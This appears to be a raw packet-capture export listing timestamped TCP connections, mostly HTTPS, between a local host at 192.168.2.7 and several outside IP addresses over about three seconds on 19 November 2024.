Nov 19, 2024 20:05:35.617239952 CET	52386	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.617244959 CET	443	52386	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.628607035 CET	443	52384	184.28.90.27	192.168.2.7
Nov 19, 2024 20:05:35.628681898 CET	52384	443	192.168.2.7	184.28.90.27
Nov 19, 2024 20:05:35.629986048 CET	52384	443	192.168.2.7	184.28.90.27
Nov 19, 2024 20:05:35.630002022 CET	443	52384	184.28.90.27	192.168.2.7
Nov 19, 2024 20:05:35.630424023 CET	443	52384	184.28.90.27	192.168.2.7
Nov 19, 2024 20:05:35.633836985 CET	52384	443	192.168.2.7	184.28.90.27
Nov 19, 2024 20:05:35.675333977 CET	443	52384	184.28.90.27	192.168.2.7
Nov 19, 2024 20:05:35.689014912 CET	443	52385	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.689618111 CET	443	52385	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.689681053 CET	52385	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.689757109 CET	52385	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.689775944 CET	443	52385	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.689820051 CET	52385	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.689826012 CET	443	52385	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.692567110 CET	52391	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.692610979 CET	443	52391	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.692694902 CET	52391	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.692837000 CET	52391	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.692851067 CET	443	52391	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.718559980 CET	443	52386	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.718641996 CET	443	52386	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.718854904 CET	52386	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.718926907 CET	52386	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.718955040 CET	443	52386	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.718971968 CET	52386	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.718991995 CET	443	52386	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.721853971 CET	52392	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.721899986 CET	443	52392	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.721961975 CET	52392	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.722100973 CET	52392	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.722110033 CET	443	52392	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.760797977 CET	443	52388	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.767724037 CET	52388	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.767743111 CET	443	52388	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.768136024 CET	52388	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.768141031 CET	443	52388	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.829479933 CET	49803	443	192.168.2.7	4.245.163.56
Nov 19, 2024 20:05:35.829514980 CET	443	49803	4.245.163.56	192.168.2.7
Nov 19, 2024 20:05:35.829530954 CET	49803	443	192.168.2.7	4.245.163.56
Nov 19, 2024 20:05:35.829538107 CET	443	49803	4.245.163.56	192.168.2.7
Nov 19, 2024 20:05:35.857142925 CET	443	52389	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.857615948 CET	52389	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.857642889 CET	443	52389	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.859386921 CET	52389	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.859391928 CET	443	52389	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.867284060 CET	443	52388	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.867716074 CET	443	52388	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.867764950 CET	443	52388	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.867854118 CET	52388	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.867854118 CET	52388	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.868119955 CET	52388	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.868132114 CET	443	52388	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.870707989 CET	52393	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.870760918 CET	443	52393	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.870982885 CET	52393	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.870982885 CET	52393	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.871023893 CET	443	52393	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.909070015 CET	443	52390	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.917016983 CET	52390	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.917045116 CET	443	52390	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.917489052 CET	52390	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.917495012 CET	443	52390	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.968784094 CET	443	52389	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.968873978 CET	443	52389	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.968938112 CET	443	52384	184.28.90.27	192.168.2.7
Nov 19, 2024 20:05:35.968929052 CET	52389	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.969014883 CET	443	52384	184.28.90.27	192.168.2.7
Nov 19, 2024 20:05:35.969062090 CET	52384	443	192.168.2.7	184.28.90.27
Nov 19, 2024 20:05:35.969176054 CET	52389	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.969197035 CET	443	52389	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.969208002 CET	52389	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.969213963 CET	443	52389	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.971779108 CET	52384	443	192.168.2.7	184.28.90.27
Nov 19, 2024 20:05:35.971785069 CET	443	52384	184.28.90.27	192.168.2.7
Nov 19, 2024 20:05:35.971795082 CET	52384	443	192.168.2.7	184.28.90.27
Nov 19, 2024 20:05:35.971798897 CET	443	52384	184.28.90.27	192.168.2.7
Nov 19, 2024 20:05:35.973506927 CET	52394	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.973547935 CET	443	52394	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.973629951 CET	52394	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.973922968 CET	52394	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:35.973934889 CET	443	52394	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:35.985003948 CET	80	49813	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:35.985323906 CET	49813	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:36.012917042 CET	443	52390	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.013050079 CET	443	52390	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.013097048 CET	52390	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.013111115 CET	443	52390	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.013262987 CET	52390	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.013617992 CET	52390	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.013618946 CET	52390	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.013637066 CET	443	52390	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.013650894 CET	443	52390	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.022181988 CET	52395	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.022236109 CET	443	52395	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.022330046 CET	52395	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.022649050 CET	52395	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.022667885 CET	443	52395	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.160969019 CET	49677	443	192.168.2.7	20.50.201.200
Nov 19, 2024 20:05:36.332794905 CET	443	52391	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.346019030 CET	52391	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.346043110 CET	443	52391	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.346685886 CET	52391	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.346690893 CET	443	52391	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.373929977 CET	443	52392	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.381871939 CET	52392	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.381892920 CET	443	52392	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.382466078 CET	52392	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.382472038 CET	443	52392	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.442517996 CET	443	52391	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.442898035 CET	443	52391	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.442975044 CET	52391	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.443254948 CET	52391	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.443295002 CET	443	52391	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.443350077 CET	52391	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.443367004 CET	443	52391	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.448415995 CET	52396	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.448466063 CET	443	52396	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.448550940 CET	52396	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.449150085 CET	52396	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.449162960 CET	443	52396	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.479240894 CET	443	52392	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.479547977 CET	443	52392	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.479610920 CET	52392	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.479656935 CET	52392	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.479656935 CET	52392	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.479675055 CET	443	52392	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.479684114 CET	443	52392	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.482244015 CET	52397	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.482292891 CET	443	52397	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.482714891 CET	52397	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.482882977 CET	52397	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.482897997 CET	443	52397	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.534388065 CET	443	52393	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.534907103 CET	52393	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.534924984 CET	443	52393	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.535451889 CET	52393	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.535464048 CET	443	52393	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.643151045 CET	443	52393	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.643723965 CET	443	52393	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.643848896 CET	52393	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.644083977 CET	52393	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.644083977 CET	52393	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.644113064 CET	443	52393	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.644124985 CET	443	52393	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.646881104 CET	443	52394	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.647336960 CET	52394	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.647353888 CET	443	52394	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.647818089 CET	52394	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.647821903 CET	443	52394	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.648478985 CET	52398	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.648528099 CET	443	52398	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.648605108 CET	52398	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.648762941 CET	52398	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.648777008 CET	443	52398	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.657255888 CET	443	52395	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.657803059 CET	52395	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.657830000 CET	443	52395	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.658312082 CET	52395	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.658319950 CET	443	52395	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.752633095 CET	443	52394	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.752732992 CET	443	52394	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.752780914 CET	52394	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.752785921 CET	443	52394	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.752895117 CET	52394	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.752955914 CET	52394	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.752955914 CET	52394	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.752971888 CET	443	52394	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.752981901 CET	443	52394	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.756438971 CET	443	52395	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.756887913 CET	443	52395	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.756964922 CET	52395	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.758048058 CET	52395	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.758048058 CET	52395	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.758066893 CET	443	52395	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.758078098 CET	443	52395	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.761023998 CET	52399	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.761064053 CET	443	52399	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.761379004 CET	52399	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.761940002 CET	52400	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.761965036 CET	443	52400	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.762054920 CET	52400	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.762099028 CET	52399	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.762115955 CET	443	52399	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:36.762305021 CET	52400	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:36.762321949 CET	443	52400	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.083928108 CET	443	52396	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.105972052 CET	52396	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.105998039 CET	443	52396	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.106698036 CET	52396	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.106709003 CET	443	52396	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.118604898 CET	443	52397	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.120285034 CET	52397	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.120351076 CET	443	52397	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.123393059 CET	52397	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.123409033 CET	443	52397	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.204379082 CET	443	52396	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.205049038 CET	443	52396	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.205300093 CET	52396	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.220449924 CET	443	52397	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.220768929 CET	443	52397	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.220830917 CET	52397	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.221834898 CET	52396	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.221863031 CET	443	52396	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.221893072 CET	52396	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.221900940 CET	443	52396	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.234307051 CET	52397	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.234307051 CET	52397	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.234354019 CET	443	52397	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.234381914 CET	443	52397	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.257302046 CET	52401	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.257359028 CET	443	52401	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.257433891 CET	52401	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.271280050 CET	52402	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.271311045 CET	443	52402	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.271394014 CET	52402	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.271589994 CET	52401	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.271610975 CET	443	52401	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.281414986 CET	52402	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.281440973 CET	443	52402	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.287851095 CET	443	52398	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.288366079 CET	52398	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.288400888 CET	443	52398	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.288808107 CET	52398	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.288813114 CET	443	52398	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.385889053 CET	443	52398	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.385967970 CET	443	52398	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.386050940 CET	52398	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.386065960 CET	443	52398	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.386091948 CET	443	52398	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.386143923 CET	52398	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.396202087 CET	52398	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.396219015 CET	443	52398	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.396231890 CET	52398	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.396239042 CET	443	52398	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.396661043 CET	443	52399	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.398679018 CET	52399	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.398744106 CET	443	52399	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.399349928 CET	52399	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.399364948 CET	443	52399	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.402574062 CET	52403	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.402601957 CET	443	52403	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.402765036 CET	52403	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.403014898 CET	52403	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.403027058 CET	443	52403	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.408083916 CET	443	52400	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.409008980 CET	52400	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.409038067 CET	443	52400	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.413357973 CET	52400	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.413366079 CET	443	52400	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.495978117 CET	443	52399	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.496264935 CET	443	52399	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.496335030 CET	52399	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.510525942 CET	443	52400	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.510572910 CET	443	52400	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.510624886 CET	443	52400	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.510639906 CET	52400	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.510679007 CET	52400	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.607134104 CET	52399	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.607135057 CET	52399	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.607224941 CET	443	52399	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.607270956 CET	443	52399	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.612138987 CET	52400	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.612138987 CET	52400	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.612164974 CET	443	52400	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.612175941 CET	443	52400	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.658998966 CET	52404	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.659034967 CET	443	52404	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.659197092 CET	52404	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.703579903 CET	52404	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.703655005 CET	443	52404	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.871841908 CET	52405	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.871895075 CET	443	52405	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.871963024 CET	52405	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.901010036 CET	52405	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.901053905 CET	443	52405	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.907485008 CET	443	52401	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.908205032 CET	52401	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.908219099 CET	443	52401	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.908824921 CET	52401	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.908854008 CET	443	52401	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.929763079 CET	443	52402	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.941996098 CET	52402	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.942018032 CET	443	52402	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:37.942522049 CET	52402	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:37.942529917 CET	443	52402	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.015110016 CET	443	52401	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.015444994 CET	443	52401	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.015511036 CET	52401	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.044445038 CET	443	52402	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.045062065 CET	443	52402	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.045135021 CET	52402	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.047066927 CET	443	52403	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.073915005 CET	52401	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.073915005 CET	52401	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.073952913 CET	443	52401	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.073962927 CET	443	52401	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.098457098 CET	52403	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.172482967 CET	52402	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.172482967 CET	52402	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.172504902 CET	443	52402	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.172519922 CET	443	52402	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.174758911 CET	52403	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.174768925 CET	443	52403	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.175332069 CET	52403	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.175337076 CET	443	52403	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.273926973 CET	443	52403	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.274071932 CET	443	52403	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.274139881 CET	52403	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.341687918 CET	443	52404	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.388371944 CET	52404	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.540416956 CET	443	52405	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.582989931 CET	52405	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.601461887 CET	52403	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.601461887 CET	52403	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.601485968 CET	443	52403	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.601512909 CET	443	52403	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.603079081 CET	52404	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.603110075 CET	443	52404	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.603624105 CET	52404	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.603636026 CET	443	52404	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.610621929 CET	52405	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.610644102 CET	443	52405	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.611253023 CET	52405	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.611264944 CET	443	52405	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.638487101 CET	52406	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.638508081 CET	443	52406	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.638567924 CET	52406	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.670900106 CET	52407	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.670948982 CET	443	52407	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.671004057 CET	52407	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.678311110 CET	52406	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.678354025 CET	443	52406	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.683357000 CET	52412	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.683386087 CET	443	52412	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.683536053 CET	52412	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.683669090 CET	52412	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:38.683682919 CET	443	52412	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:38.697433949 CET	52407	443	192.168.2.7	13.107.246.45
